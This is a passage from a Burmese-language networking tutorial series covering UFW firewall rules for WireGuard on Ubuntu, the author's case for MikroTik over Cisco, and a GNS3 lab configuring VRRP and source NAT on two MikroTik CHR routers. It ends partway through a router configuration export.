UFW ဆိုတာကတော့ Ubuntu ရဲ့ default firewall တစ်ခုပါ။ Uncomplicated Firewall ကို အတိုကောက်ခေါ်ဆိုထားတာလည်းဖြစ်ပါတယ်။ UFW ဟာ iptables ရဲ့ abstraction layer တစ်ခုအနေနဲ့ အပေါ်ကနေ အုပ်ထားပါတယ်။ ကိုယ်က ufw ကို enable မလုပ်ထားရင် သူ့ status က inactive ပါ။ Inactive ဆိုတဲ့နေရာမှာ ufw feature ကို အသုံးမပြုထားဘူးဆိုတဲ့ အဓိပ္ပာယ်ပါ၊ firewall ကို disable လုပ်ထားတာမဟုတ်ပါဘူး။ Underlay မှာတော့ iptables ကို security အရအသုံးပြုထားပါတယ်။ Wireguard အတွက် Ubuntu မှာ ufw သုံးပြီးတော့ ဘယ်လိုမျိုး port ကို ဖွင့်ပေးတဲ့ ပုံကိုကြည့်လိုက်အောင်။

```
root@wg-srv-node:~# sudo ufw default deny incoming
Default incoming policy changed to 'deny'
(be sure to update your rules accordingly)

root@wg-srv-node:~# sudo ufw default allow outgoing
Default outgoing policy changed to 'allow'
(be sure to update your rules accordingly)

root@wg-srv-node:~# ufw allow 22/tcp
root@wg-srv-node:~# ufw allow 51820/udp
root@wg-srv-node:~# ufw enable
root@wg-srv-node:~# ufw status verbose
Status: active
Logging: on (low)
Default: deny (incoming), allow (outgoing), disabled (routed)
New profiles: skip

To                         Action      From
--                         ------      ----          
51820/udp                  ALLOW IN    Anywhere                  
22                         ALLOW IN    Anywhere                  
51820/udp (v6)             ALLOW IN    Anywhere (v6)             
22 (v6)                    ALLOW IN    Anywhere (v6)             
```

အခုဆိုရင်တော့... Wireguard နဲ့ ssh အတွက် ufw ကိုပြင်ဆင်တာပြီးသွားတာဖြစ်တဲ့အတွက် Wireguard connection ကို စတင်စမ်းသပ်လို့ရပါပြီ။


# အဘယ်ကြောင့် MikroTik

Networking နဲ့ပတ်သတ်ပြီးတော့ စတင်လေ့လာကတည်း Cisco Network Academy နဲ့ပဲ အကျွမ်းတဝင်ဖြစ်ခဲ့ရပါတယ်။ Industry leader ဖြစ်တဲ့အပြင်၊ professional training နဲ့ပတ်သတ်လာရင်လည်း အကောင်းဆုံးလို့ ရေပူရသိထားကြပါတယ်။ ဒီအတွက်ကြောင့် networking topic တွေကအကြောင်းပြောကြရင် Cisco IOS-XE လိုplatform မှာအသုံးပြုတဲ့ CLI commands တွေနဲ့ စာရေးသူတို့ အကျွမ်းတဝင်ဖြစ်ခဲ့ကြရပါတယ်။ CCNA လို networking certificate ကိုဖြေဆိုကြမယ့် ကျောင်းသူကျောင်းသားတွေဟာ Packet Tracer လို့ခေါ်တဲ့ simulator နဲ့ networking lab တွေကို အသုံးပြုပြီးလေ့လာကြပါတယ်။ စာရေးသူ အနေနဲ့ GNS3 နဲ့ EVE-NG တို့လို emulator အသုံးပြုရတာ ပိုပြီးတော့လက်တွေကြတယ်ထင်ပါတယ်။ အရင်ကလည်း GNS3 အကြောင်းကို ရေးဖူးလို့ ဖတ်ရှုချင်ရင်တော့အောက်က link မှာသွားရောက်ဖတ်နိုင်ပါတယ်။

{% content-ref url="/pages/-MQZs7z9ehp\_sS\_Fhket" %}
[အဘယ့်ကြောင့် GNS3](/networking/why-gns3)
{% endcontent-ref %}

ဆိုလိုရင်းက… network engineer လုပ်မယ်ဆိုကတည်း စတင်လိုက်တဲ့ သင်ကြားရေးဟာ Cisco နဲ့ပဲများသောအားဖြင့် စတင်ကြခဲ့ရပါတယ်။ လက်တွေ့ လုပ်ငန်းခွင်မှာလည်း Cisco ရဲ့ routing နဲ့ switching တွေကိုပဲ သုံးတာကိုတွေ့သော်လည်း၊ လက်တွေ့မှာတော့ multi-vendor solution တွေကိုပိုပြီးတော့တွေ့ရမှာပါ။ အထူးသဖြင့် third world country ဖြစ်တဲ့ မြန်မာနိုင်ငံမှာတော့၊ backbone network တစ်ခုလုံးကို Cisco လို product တွေနဲ့ တည်ဆောက်ဖို့ဆိုတာမဖြစ်နိုင်ပါဘူး။ ဟိုတလောက… United Kingdom (UK) မှာနိုင်ငံရေးအရ တရုတ်ကို sanction လုပ်မယ်ဆိုတဲ့အတွက် British government က policy မူတခုအသစ်ထွက်လာလို့ Huawei နဲ့ ZTE networking gear တွေကို audit ထဲမှာတွေ့လို့ အကုန်ပြန်ဖြုတ်ခိုင်းပြီး၊ အနောက်နိုင်ငံကထုတ်တဲ့ Nokia လို brand တွေကို ပြန်လည် setup လုပ်ဖို့ဖြစ်လာပါတယ်။ 5G လို့ နည်းပညာမှာ တရုတ်တွေဟာ အနောက်နိုင်ငံတွေထက် အရှေ့ကိုအများရောက်နေတယ်ဆိုတာ ယုံမှာသံသယ မရှိပါဘူး။ တရုတ်တွေဟာ 5G technology မှာ R\&D အတွက် ငွေကြေးအများကြီး အသုံးပြုထားတဲ့အပြင်၊ လူစွမ်းအင် အရင်းအမြစ်လည်း အဲ့ဒီဘက်မှာ အများကြီးထည့်ထားတာဖြစ်ပါတယ်။ အနောက်နိုင်ငံတွေက Huawei လို brand ကို ကွန်မြူနစ် တရုတ်နဲ့ တိုက်ရိုက်ဆက်သွယ်မှုရှိတယ်ဆိုသော်လည်း နည်းပညာအသာပိုင်းနဲ့ စျေးနှုန်းမှာ အနောက်နိုင်ငံက brand တွေဖြစ်တဲ့ Cisco တို့၊ Juniper တို့၊ Arista တို့ ထက်အများကြီးသာပါတယ်။ အရှင်းဆုံးပြောရရင် networking industry တစ်ခုလုံးဟာ လွန်ခဲ့တဲ့ ဆယ်နှစ်၊ ဆယ့်ငါ့နှစ်အတွင်းမှာ အများကြီးပြောင်းလဲသွားတာ သိမ်မရှိပါဘူး။ ဒီအတွက် networking engineer တွေလည်းလေ့လာထားတဲ့ ပညာနဲ့ industry ထဲမှာ specialist များအနေနဲ့ အကြာကြီးဆက်လက် လုပ်ကိုင်စားသောက်လို့ ရပါတယ်။ Networking မှာ သင်ယူရတာ လွယ်ကူတယ်လို့တော့ မဆိုနိုင်ပါဘူး၊ စာရေးသူအမြင်နဲ့ သုံးသပ်ကြည့်တဲ့ သဘောပါ။ CCNP သို့မဟုတ် CCIE အဆင့်လောက်ရောက်လာပြီး တကယ်လည်း လုပ်ငန်းခွင်ကျွမ်းကျင်ရင် အခုချိန်ထိ networking industry မှာကိုယ့်အတွက် လုပ်ငန်းခွင်အခွင့်အလမ်းတွေအများကြီးပါ။ Networking specialist ဆိုတာအခုချိန်ထိ တန်ဖိုးထားတဲ့ role တွေပါ။

ပြဿနာက Cisco ရဲ့ CCNP တို့၊ CCIE တို့လိုမျိုး certificate တွေဖြေဆိုတော့မယ်ဆိုရင်တော့ big iron လို့တင်စားပြောကြတဲ့ Cisco networking gears တွေလိုပါပြီ။ အခုအချိန်မှာ GNS3 တို့ VIRL တို့လို emulator တွေကိုအသုံးပြုပြီးတော့လေ့လာနိုင်သော်လည်း၊ physical networking gears တွေနဲ့လေ့လာထားရင်တော့ ပြီးတော့အသားကျနိုင်ပါတယ်။ Networking မှာက CLI သိရုံ၊ routing နဲ့ switching protocols တွေသိရုံနဲ့ မပြီးပါဘူး။ Service provider တွေမှာအသုံးပြုတဲ့ networking hardware တွေ၊ SFPs အမျိုးအစားတွေ၊ အဲ့ဒီ SFPs တွေနဲ့တွဲပြီးတော့ အသုံးပြုတဲ့ multi-mode သို့မဟုတ် single -mode fibre optic cable အမျိုးအစားတွေ၊ မတူညီတဲ့ port speed တွေနဲ့ interface တွေဟာ အပြင်မှာလုပ်ငန်းခွင် အတွေ့အကြုံရှိရင်ရှိ မရှိရင်ကိုယ်ပိုင် physical networking gears တွေနဲ့ lab လုပ်မှပဲ သိနိုင်တဲ့ ကိစ္စတွေပါ။ Emulator တွေထဲမှာ အဲ့ဒီလို physical layer ဖြစ်နေတဲ့ အရာတွေကို မသိနိုင်ပါ။ အဲ့ဒီအတွက် hard core network engineer တွေဟာ home lab တွေကို ငွေကြေးကုန်ကြ အများကြီးအကုန်ခံပြီး setup လုပ်ကာ လေ့လာကြရပါတယ်။ ဒီတော့… network engineer ကောင်းတစ်ယောက်ဖြစ်ဖို့ဆိုတာလည်း အချိန်ရော၊ ငွေရောအများကြီး အကုန်ခံနိုင်မှ CCNP တို့၊ CCIE တို့လို certificate တွေအတွက် အဆင်သင့်ဖြစ်နိုင်မှာပါ။ စာရေးသူကိုယ်တိုင်က network engineer တစ်ယောက်မဟုတ်ပါဘူး။ သို့သော် service provider network မှာအလုပ်လုပ်ဖူးလို့ ဒီလောက်လေး သိတာလို့ဆိုနိုင်ပါတယ်။ သိတဲ့အတိုင်း… proprietary platform တွေ၊ ငွေကြေးကုန်ကျမှာ အလုပ်ဖြစ်မယ်ဆိုတဲ့ အချိုးမျိုးကို နည်းပညာလောကမှာ စာရေးသူက လက်မခံထားပါ။ အကုန်အကျနည်းနည်းနဲ့ တူညီတဲ့ နည်းပညာကိုလေ့လာလို့ရနိုင်မယ်ဆို စာရေးသူအနေနဲ့ စိတ်ဝင်စားပါတယ်။ ဒီလိုနဲ့ မထင်မှတ်ပဲ service provider တစ်ခုမှာ အလုပ်လုပ်ရင်း MikroTik ဆိုတဲ့ routing & switching vendor တစ်ခုကိုစပြီးတော့ တွေ့ရှိခဲ့ပါတယ်။ MikroTik ရဲ့ အကြောင်းကို Wikipedia မှာဖတ်ချင်ရင်တော့ အောက်က link မှာသွားဖတ်လို့ရနိုင်ပါတယ်။

<https://en.wikipedia.org/wiki/MikroTik>

ရှင်းရှင်းပြောရရင် စာရေးသူအနေနဲ့ MikroTik ရဲ့ networking gear တွေနဲ့စတင်အလုပ်လုပ်စ လုံးဝကိုမကြိုက်ပါဘူး။ အထက်မှာပြောထားသလိုပဲ Cisco လို vendor နဲ့ training ခံထားရတဲ့ စာရေးသူ အမြင်မှာတော့ Cisco လောက်မကောင်းဘူး၊ စျေးလည်း ပေါတယ်၊ အလုပ်ဖြစ်မယ် မထင်ထားခဲ့ပါဘူး။ Cisco devices တွေမှာ ခမ်းနားလှတဲ့ CLI လည်းရှိတယ်လို့ မထင်ခဲ့ပါဘူး။ သို့သော် သုံးရင်းနဲ့ သိလိုက်ရတာက MikroTik ရဲ့ RouterOS ဟာ Linux ပေါ်မှာအခြေခံထားတာဖြစ်ပြီးတော့ (မှတ်ချက် – Cisco ရဲ့ နောက်ပိုင်း IOS-XE, IOS-XR နဲ့ NS-OS တွေဟာလည်း Linux ပေါ်မှာပဲ အခြေခံထားတာပါ။) ကိုယ်ပိုင် proprietary code တွေနဲ့ RouterOS ကိုရေးထားတာပါ။ သို့သော်… RouterOS ရနိုင်တဲ့ feature တွေနဲ့ licensing ကိုတော့ စာရေးသူအများကြီး သဘောတွေ့ပါတယ်။ လေ့လာဖို့အတွက်လည်း Cloud Hosted Router (CHR) ကို GNS3 လို emulator မှာ အခမဲ့စမ်းသပ်နိုင်ပါတယ်။ Production မှာရနိုင်တဲ့ feature တွေအကုန်လုံးကို CHR ရဲ့ free tier မှာလည်းရနိုင်ပါတယ်။ Production မှာလိုသုံးလို့ မရနိုင်အောင်တော့ port speed ကို 1Mbps per upload လုပ်ထားပါတယ်။ အကယ်လို့များ production မှာလို BGP route ပေါင်းများစွာကို inject လုပ်ပြီးတော့ stress test စမ်းချင်တယ်ဆိုလည်း USD $25 ကနေ USD $50 လောက်သုံးလိုက်ရင်နဲ့ MPLS capable router တစ်လုံးကို ဝယ်ပြီးတော့စမ်းသပ်နိုင်ပါပြီ။ Cisco လို platform မျိူးမှာတော့ USD $50 ဝန်းကျင် budget နဲ့ဆိုရင်တော့ Optic SFP တစ်ခုတောင်ရနိုင်မယ် မထင်ပါဘူး။ စျေးနည်းသက်သာရုံသာမက power consumptionမှာလည်း အခြား platform တွေထက်အများကြီး သက်သာတာကိုတွေ့ရမှာပါ။ ဥပမာ – PoE switch နဲ့ power output နဲ့ MikroTik device တော်တော်များများကို power ပေးလို့ရပါတယ်။ ဒီလို MikroTik ကောင်းတဲ့အချက်တွေကို စာပိုဒ်ထဲမှာချရေးရင်ကုန်မှာ မဟုတ်ပါဘူး။ တချက်ပြီးတချက် ချပြီးတော့ ရေးရင်း ရှင်းရင်း ပုံစံလေးနဲ့သွားလိုက်ရကအောင်။

**၁. Products range နဲ့ portfolio ရွေးချယ်စရာများခြင်း**

MikroTik မှာရနိုင်တဲ့ product range နဲ့ portfolio က အိမ်မှာအသုံးပြုလို့ရနိုင်တဲ့ home router နဲ့ switch ကနေ enterprise data centre နဲ့ service provider မှာသုံးလို့ရနိုင်တဲ့ routing & switching gear တွေအပြင်၊ wireless product တွေလည်းပါဝင်ပါတယ်။ စာရေးသူလက်တွေ့မှာ အသုံးပြုခဲ့တဲ့ MikroTik product တွေကတော့ home and SMB internet connection အတွက်အသုံးပြုတဲ့ high-end က hAP ac (<https://mikrotik.com/product/RB962UiGS-5HacT2HnT>)၊ အနည်းငယ်စျေးပိုသက်သာပြီးတော့ low-budget ဆိုရင် hAP (<https://mikrotik.com/product/RB951Ui-2nD>) နဲ့ hAP lite (<https://mikrotik.com/product/RB941-2nD>) တို့အပြင်၊ service provider တွေရဲ့ core network မှာအသုံးပြုလို့ရတဲ့ CCR1009-7G-1C-1S+ (<https://mikrotik.com/product/CCR1009-7G-1C-1Splus>) တို့လို platform တွေနဲ့ အလုပ်လုပ်ဖူးပါတယ်။ စျေးပေါသလောက် အလုပ်တကယ်ဖြစ်တဲ့ networking gear တွေပါ။ MikroTik ရဲ့ wireless product လည်းကောင်းပြီး အကြမ်းခံလို့ Mount Everest base station တစ်ခုလုံးကို သူ့ wireless product တွေနဲ့တည်ဆောက်ထားတယ်လို့ဆိုပါတယ်။ MikroTik မှာရနိုင်တဲ့ product တွေအကုန်လုံးကို ကြည့်ချင်ရင်တော့ အောက်က link မှာသွားကြည့်လို့ရပါတယ်။

<https://mikrotik.com/products>

**၂. အခြားသော network vendor မှာမရနိုင်တဲ့ feature တွေပါဝင်ခြင်း**

ရယ်စရာတစ်ခုပြောပြချင်ပါတယ်။ ဒီဇာတ်လမ်း ကိုလည်း စာရေးသူ နားထောင်နေကြ podcast တစ်ခုဖြစ်တဲ့ Packet Pusher မှာ MikroTik နဲ့ ပတ်သတ်ပြီးတော့ interview တစ်ခုပြီးခဲ့အပတ်ကလုပ်သွားထဲမှာ နားထောင်ရတာပါ။ အဲ့ဒီ podcast နားထောင်ချင်ရင်တော့ အောက်က link မှာသွားနားထောင်လို့ ရပါတယ်။

<https://packetpushers.net/podcast/heavy-networking-634-why-not-mikrotik/>

မြင့်မားလှတဲ့ radio တာဝါတိုင်တွေအတွက် network ကို manage လုပ်တဲ့ network engineer တွေဟာ MikroTik ကိုကြိုက်ကြတယ်တဲ့၊ ဘာဖြစ်လို့လဲ ဆိုတော့ တခါက network engineer တစ်ယောက် notepad ထဲမှာ သိမ်းထားတဲ့ OSPF configuration တွေကို copy လုပ်ထားပြီး buffer ထဲမှာရှိနေသေးတာ မသိပဲနဲ့ မှားပြီးတော့ network device တစ်ခုပေါ်မှာ paste လုပ်လိုက်တာ ရှိသမျှ OSPF neighbours တွေအကုန် အလုပ်မလုပ်တော့ဘူးတဲ့။ MikroTik ကိုမသုံးခင်ကဆို အဲ့ဒီ radio တာဝါတိုင်ပေါ်တက်တဲ့ လူတွေသီးသန့်ခေါ်ပြီးတော့ console cable တွေသုံးကာ ပြန်ပြီး configure လုပ်ရပါသတဲ့။ ဒီလိုမျိုးလည်း ခဏခဏဖြစ်တယ်လို့ပြောတယ်။ ဒီလိုနဲ့ MikroTik ကိုစပြီး သုံးဖို့ဖြစ်လာပါတယ်တဲ့လေ။ ဘာဖြစ်လို့လဲဆိုတော့ MikroTik မှာပါတဲ့ feature တစ်ခုဖြစ်တဲ့ MAC Telnet ဟာ layer 2 connection ရှိလိုက်ရုံနဲ့ သူကိုတိုက်ရိုက် ချိတ်ထားတဲ့ MikroTik device မှန်သမျှကို ssh သို့မဟုတ် winbox နဲ့ ဝင်လို့ ရနိုင်ပါတယ်။ နာမည်က MAC Telnet လို့ဆိုပေမယ့်လည်း telnet ကို မသုံးတော့တာ ကြာပါပြီ၊ ssh ကိုသာ အသုံးပြုပြီး တဘက်က device ကို ဝင်လို့ရအောင်လုပ်ပါတယ်။ Winbox ဟာလည်း ဒီ သဘောပါပဲ ကိုယ့် laptop သို့မဟုတ် PC ကို Ethernet cable နဲ့ MikroTik device ကို ချိတ်လိုက်ရုံနဲ့ layer 2 connection ကို သုံးကာ စတင် configure လုပ်လို့ရပါတယ်။ ဒါ့အပြင်… RoMON ဆိုတဲ့ feature ကလည်း MikroTik ရဲ့ RouterOS မှာပဲရနိုင်တဲ့ router management overlay network ပါ။ ပြီးတော့… configuration file တွေကို download၊ upload လုပ်ဖို့အတွက်လည်း FTP server သီးသန့် မလိုပဲနဲ့ Winbox ကနေ browse လုပ်နိုင်စွမ်းရှိပါတယ်။

**၃. အသုံးပြုတဲ့ CPU architecture များစွာရှိခြင်း**

အခြားသော networking vendor တွေမှာ သူတို့အသုံးပြုတဲ့ CPU နဲ့ ASIC တွေကိုတသတ်မှတ်တည်းထားပါတယ်။ MikroTik မှာတော့ ထူးခြားစွာ CPU architecture ပေါင်းများစွာနဲ့ ထုတ်ပါတယ်။ သူ့ရဲ့ CCR routing platform မှာဆိုရင် TILE ဆိုတာကိုသုံးပြီးတော့၊ hAP ac လို device တွေအတွက်တော့ MIPSBE ကိုသုံးပါတယ်။ ဒါ့အပြင်… ARM 32bit၊ ARM 64bit၊ SMIPS နဲ့ x86 တို့လို architecture တွေအတွက်လည်း သီးသန့်ရှိပါတယ်။ ကိုယ်သုံးချင်တဲ့ environment မှာမူတည်ပြီးတော့ ကြိုက်တဲ့ platform ကိုသုံးလို့ရပါတယ်။ အသုံးပြုတဲ့ CPU architecture များလို့ COVID-19 ဖြစ်လာတဲ့အခါမှာ အခြား vendor တွေ chips shortage ဖြစ်နေတဲ့အချိန် MikroTik အတွက်တော့ supply and demand ပြဿနာသိပ်ပြီးတော့ မဖြစ်ဘူးလို့ ဆိုရမှာပါ။ MikroTik product နဲ့ သူ့ရဲ့ CPU architecture ကိုလေ့လာချင်တယ်ဆိုရင်တော့ အောက်မှာ link တစ်ခုပေးထားပါတယ်။

<https://mikrotik.com/products/matrix>

**၄. စျေးနှုန်းချိုသာခြင်း**

မြန်မာနိုင်ငံလို third world country တွေအတွက်တော့ ဒီအချက်က အရေးကြီးပါတယ်။ အထက်မှာပြောခဲ့သလိုပဲ Cisco တို့၊ Juniper တို့လို big iron တွေထက် စာရင် စျေးနှုန်းလည်းချို၊ power consumption လည်း သက်သာတဲ့ အချက်ဟာ South East Asia နဲ့ Africa နိုင်ငံတွေအတွက် MikroTik ကိုအစားထိုးသုံးဖို့ အကြောင်းဖန်လာပါတော့တယ်။ စာရေးသူသိသလောက်တော့ Indonesia နဲ့ Philippine လိုနိုင်ငံတွေမှာ MikroTik ဟာနေရာတော်တော်လေးယူထားတဲ့ အပြင်၊ Africa အချို့ လျှပ်စစ်မီးကို ပြည့်စုံစွာ မရတဲ့နေရာတွေမှာ solar power နဲ့ MikroTik device တွေသုံးတယ်လို့ဆိုပါတယ်။

**၅. Core network တစ်ခုလုံးကို MikroTik နဲ့ တည်ဆောင်နိုင်စွမ်းရှိခြင်း**

Cisco တို့ ၊ Juniper တို့လို big iron တွေမှာရတဲ့ routing နဲ့ switching feature တွေအကုန်လုံးနီးပါး MikroTik ရဲ့ RouterOS မှာလည်းရနိုင်ပါတယ်။ ဆိုပါတော့… service provider network တွေမှာ မရှိမဖြစ် MPLS နဲ့ VPLS ကို MikroTik မှာ support လုပ်ပါတယ်။ Internet routing အတွက် BGP ကိုလည်း MikroTik platform တွေမှာ support လုပ်ပါတယ်။ သို့သော်… segment routing လို၊ IS-IS လိုဟာမျိုးကို အခုအချိန်ထိတော့ MikroTik platform တွေမှာ အလုပ်မလုပ်သေးပါ။ ဖြည်းဖြည်းချင်းစီတော့ ပေါင်းထည့်လာမည့် feature တွေလို့တော့ ထင်ပါတယ် ။ MikroTik မှာရတဲ့ feature တွေအကုန်လုံးက အခြား vendor platform တွေနဲ့ interoperability ပိုင်းမှာတော့ လုံးဝစိတ်ပူစရာမလိုပါဘူး။ MikroTik သုံးဖူးတဲ့သူတိုင်း သိပါတယ်။ ဒီ့အတွက် MikroTik ချည်းသီးသန့်သုံးပြီးတော့ ကိုယ့်ရဲ့ core network တစ်ခုလုံးကို တည်ဆောက်လိုက ဖြစ်နိုင်ပါတယ်။ မလွှဲရှောင်သာလို့ အခြားသော vendor တွေနဲ့တွဲပြီးတော့ သုံးရမယ်ဆိုအဆင်ပြေပါတယ်။

ဒီလောက်ဆိုရင် Cisco မပါပဲနဲ့လည်း network engineer ဖြစ်လိုကဖြစ်နိုင်တယ်လို့ ဆိုလိုချင်တာပါ။ စာရေးသူ အနေနဲ့တော့ GNS3 lab ထဲမှာ MikroTik CHR နဲ့ တော်တော်များများ စမ်းသပ်ပါတယ်။ Cisco CSR 1000v လိုမျိုး resource intensive မဖြစ်တဲ့ အတွက်၊ network lab တွေမှာ CHR ကို နောက်ပိုင်းတွင်တွင်ကျယ်ကျယ်လေး သုံးဖြစ်တယ်။ ဒီ post ကို ဒီလောက်ပဲရပ်လိုက်ပါတော့မယ်။ နောက်ပိုင်းမှာ MikroTik lab နဲ့ပတ်သတ်တဲ့အကြောင်းဆက်ပြီးတော့ ရေးသွားပါအုံးမယ်။


# VRRP ကို MikroTik မှာ setup လုပ်ပုံ

Keepalived အကြောင်းရေးတုန်းက VRRP ကို networking မှာကျယ်ကျယ်ပြန့်ပြန့် အသုံးပြုတဲ့အကြောင်းကိုထည့်သွင်း ရှင်းပြခဲ့ပါတယ်။ Network engineer တစ်ယောက်အနေနဲ့ VRRP concept ကို အနည်းဆုံးသိကြပါတယ်။ ကိုယ့် network မှာအသုံးပြုတဲ့ vendor ပေါ်မှာမူတည်ပြီးတော့ configure လုပ်တဲ့ပုံတော့ ကွာကြပါတယ်။ အပေါ်ယံအားဖြင့် သဘောသဘာဝတူကြပါတယ်။ Cisco IOS မှာသုံးတဲ့ command line နဲ့ MikroTik RouterOS မှာသုံးတဲ့ command line ကွာခြားပေမယ့်လည်း လိုရင်းတော့တူကြပါတယ်။

စာရေးသူ ဒီ post မှာတော့ MikroTik ကို GNS3 မှာကြိုတင်ပြင်ဆင်ထားပြီးတော့ lab တစ်ခုတည်ဆောက်ပြီးတော့ တဆင့်ချင်း ရှင်းပြခြင်းပါတယ်။ RouterOS ရဲ့ version 6.43.8 ကိုအသုံးပြုထားပြီးတော့၊ GNS3 မှာအလွယ်တကူ ရနိုင်တဲ့ webterm ကိုတော့ client အနေနဲ့ အသုံးပြုသွားမှာဖြစ်ပါတယ်။ Internet connection အတွက်တော့ NAT cloud ကိုအသုံးပြုမှာပါ။ အောက်မှာတော့ network topology ကို GNS3 မှာမြင်ရတဲ့ပုံစံဖြစ်ပါတယ်။

<figure><img src="https://3282528215-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F-MQWWUTXCFFNVNEIAM-f%2Fuploads%2Fgit-blob-af26caeb4b8dd6aacc9a2c9547015bf5f824491a%2Fmt_vrrp_lab-1024x489.png?alt=media" alt=""><figcaption></figcaption></figure>

ပုံမှာတွေ့ရတဲ့အတိုင်း လိုအပ်တဲ့ appliance ကို GNS3 project မှာတည်ဆောက်ပြီးရင်တော့၊ webterm client ကို စပြီး configure လုပ်ပါ့မယ်။ Webterm ကို configure လုပ်ဖို့အတွက်တော့ appliance ကိုအရင် stop လုပ်ထားဖို့လိုပါတယ်။ ပြီးရင် Firefox icon နဲ့ webterm ပေါ်မှာ right-click လုပ်ကာ၊ “Edit config” ဆိုတဲ့ option ကိုရွေးပေးပြီး အောက်ကအတိုင်း configure လုပ်ရပါ့မယ်။

```
#
# This is a sample network config, please uncomment lines to configure the network
#

# Uncomment this line to load custom interface files
# source /etc/network/interfaces.d/*

# Static config for eth0
auto eth0
iface eth0 inet static
	address 192.168.0.100
	netmask 255.255.255.0
	gateway 192.168.0.1
	up echo nameserver 1.1.1.1 > /etc/resolv.conf

# DHCP config for eth0
#auto eth0
#iface eth0 inet dhcp
```

Webterm ရဲ့ eth0 interface မှာ IP address ကို 192.168.0.100/24 သတ်မှတ်ပေးပြီး၊ gateway ကို 192.168.0.1 ဆိုပြီး configure လုပ်လိုက်တာပါ။ နောက်အဆင့်အနေနဲ့ MikroTik router နှစ်လုံးမှာ ပထမတစ်လုံးကို r1 လို့ခေါ်ပြီး၊ နောက်တစ်လုံးကိုတော့ r2 လို့ခေါ်လိုက်ပါတယ်။ Router နှစ်ခုလုံးပေါ်မှာ အရင်ဆုံး NAT cloud ကနေ internet connection ရသလားလို့ အရင်စစ်ကြည့်လိုက်ပါ။ အလွယ်ဆုံး အနေနဲ့ google.com ကို ping ကြည့်လိုက်ပါ။ စာရေးသူ GNS3 မှာအသုံးပြုတဲ့ MikroTik CHR appliance ရဲ့ default configuration မှာ interface တိုင်းအတွက် DHCP client ကို enable လုပ်ထားပါတယ်။ အဲ့ဒီအတွက် ဘယ် interface က NAT cloud ဘက်မှာ connect လုပ်ထား လုပ်ထား internet connection က router နှစ်ခုလုံးပေါ်မှာ ရှိရပါ့မယ်။ သို့သော်… အဲ့ဒီ router နှစ်ခုလုံးရဲ့ အနောက်မှာ webterm client ရှိနေတဲ့ network အတွက်ပါ internet ရအောင် source NAT တစ်ခု configure လုပ်ဖို့တော့လိုပါလိမ့်မယ်။ Router နှစ်ခုလုံးပေါ်မှာ အောက်က အတိုင်း /ip firewall nat ကို configure လုပ်ရပါ့မယ်။

```
/ip firewall nat
add action=masquerade chain=srcnat out-interface=ether1 src-address=\
    192.168.0.0/24
```

MikroTik ရဲ့ command line မှာတော့ အခုလို syntax တွေကို အသုံးပြုပြီးတော့ configure လုပ်ရပါတယ်။ ဒီတစ်ခုမှာတော့ source address 192.168.0.0/24 subnet ကနေလာသမျှ traffic ကို source NAT chain မှာအသုံးပြုပြီး outbound interface ether1 နဲ့ masquerade လုပ်မယ်လို့ ဆိုပြီး သတ်မှတ်ပေးထားတာပါ။ တခုသတိထားရမှာက network topology ထဲကအတိုင်း ether1 ကို upstream interface အနေနဲ့ သုံးထားပြီးတော့၊ ether2 ကို downstream interface အနေနဲ့ သုံးထားပါတယ်။ ဒီမှာတော့… source NAT ကို အသေးစိတ်မရှင်းတော့ပါဘူး။ Network Address Translation (NAT) ကိုနောက်မှပဲ post တစ်ခုမှာ သီးသန့်ရေးပါ့မယ်။

နောက်အဆင့်မှာတော့ downstream interface ether2 မှာ IP address နဲ့ VRRP ကိုအောက်ကအတိုင်း ဆက်ပြီးတော့ configure လုပ်ပါ့မယ်။ ပထမဆုံး r1 ကို အရင်ကြည့်လိုက်ရအောင်။

```
/system identity
set name=r1
/interface vrrp
add interface=ether2 name=vrrp priority=200 vrid=50
/ip address
add address=192.168.0.1 interface=vrrp network=192.168.0.1
add address=192.168.0.2/24 interface=ether2 network=192.168.0.0
```

နောက် r2 ကိုကြည့်လိုက်ရအောင်။

```
/system identity
set name=r2
/interface vrrp
add interface=ether2 name=vrrp vrid=50
/ip address
add address=192.168.0.1 interface=vrrp network=192.168.0.1
add address=192.168.0.3/24 interface=ether2 network=192.168.0.0
```

မြင်ရတဲ့အတိုင်း အရင်ဆုံး router ရဲ့ hostname ကိုပြောင်းလိုက်ပါတယ်။ ပြီးရင် /interface vrrp ကို setup လုပ်ပါတယ်။ ကိုယ်သုံးမယ့် interface ရယ်၊ ကိုယ်ပေးချင်တဲ့ နာမည်ရယ် နဲ့ virtual router ID တို့ကို ကိုယ်လိုသလို သတ်မှတ်ပေးလိုက်ပါ။ သတိထားရမှာတစ်ခုက vrid တော့တူဖို့ လိုပါတယ်။ ထူးခြားတာတစ်ခုက r1 မှာ priority=200 ဆိုပြီးတော့ အပို configure လုပ်ထားပါတယ်။ MikroTik RouterOS မှာ VRRP ရဲ့ default priority က 100 ပါ။ ဒီတော့… r1 ကို preemptive master node အနေနဲ့ ထားချင်လို့ priority ကိုပိုမြင့်တဲ့ value ထည့်ပေးလိုက်ခြင်းဖြစ်ပါတယ်။ နောက်တစ်ခုက Virtual IP (VIP) ကို 192.168.0.1 လို့ configure လုပ်ထားပါတယ်။ ဒါကတော့… MikroTik မှာ VRRP ကို configure လုပ်တဲ့ပုံစံကို ပြပေးသွားတာဖြစ်ပါတယ်။ r1 နဲ့ r2 တို့ရဲ့ နောက်ဆုံး configuration ကအောက်မှာ ပြထားတဲ့အတိုင်းဖြစ်နေရပါ့မယ်။

```
[admin@r1] > export
# aug/01/2022 07:26:38 by RouterOS 6.43.8
# software id = 
#
#
#
/interface ethernet
set [ find default-name=ether1 ] disable-running-check=no
set [ find default-name=ether2 ] disable-running-check=no
/interface vrrp
add interface=ether2 name=vrrp priority=200 vrid=50
/interface wireless security-profiles
set [ find default=yes ] supplicant-identity=MikroTik
/ip address
add address=192.168.0.1 interface=vrrp network=192.168.0.1
add address=192.168.0.2/24 interface=ether2 network=192.168.0.0
/ip dhcp-client
add disabled=no interface=ether1
/ip firewall nat
add action=masquerade chain=srcnat out-interface=ether1 src-address=\
    192.168.0.0/24
/system identity
set name=r1
```

```
[admin@r2] > export
# aug/01/2022 07:30:50 by RouterOS 6.43.8
# software id = 
#
#
#
/interface ethernet
set [ find default-name=ether1 ] disable-running-check=no
set [ find default-name=ether2 ] disable-running-check=no
/interface vrrp
add interface=ether2 name=vrrp vrid=50
/interface wireless security-profiles
set [ find default=yes ] supplicant-identity=MikroTik
/ip address
add address=192.168.0.1 interface=vrrp network=192.168.0.1
add address=192.168.0.3/24 interface=ether2 network=192.168.0.0
/ip dhcp-client
add disabled=no interface=ether1
/ip firewall nat
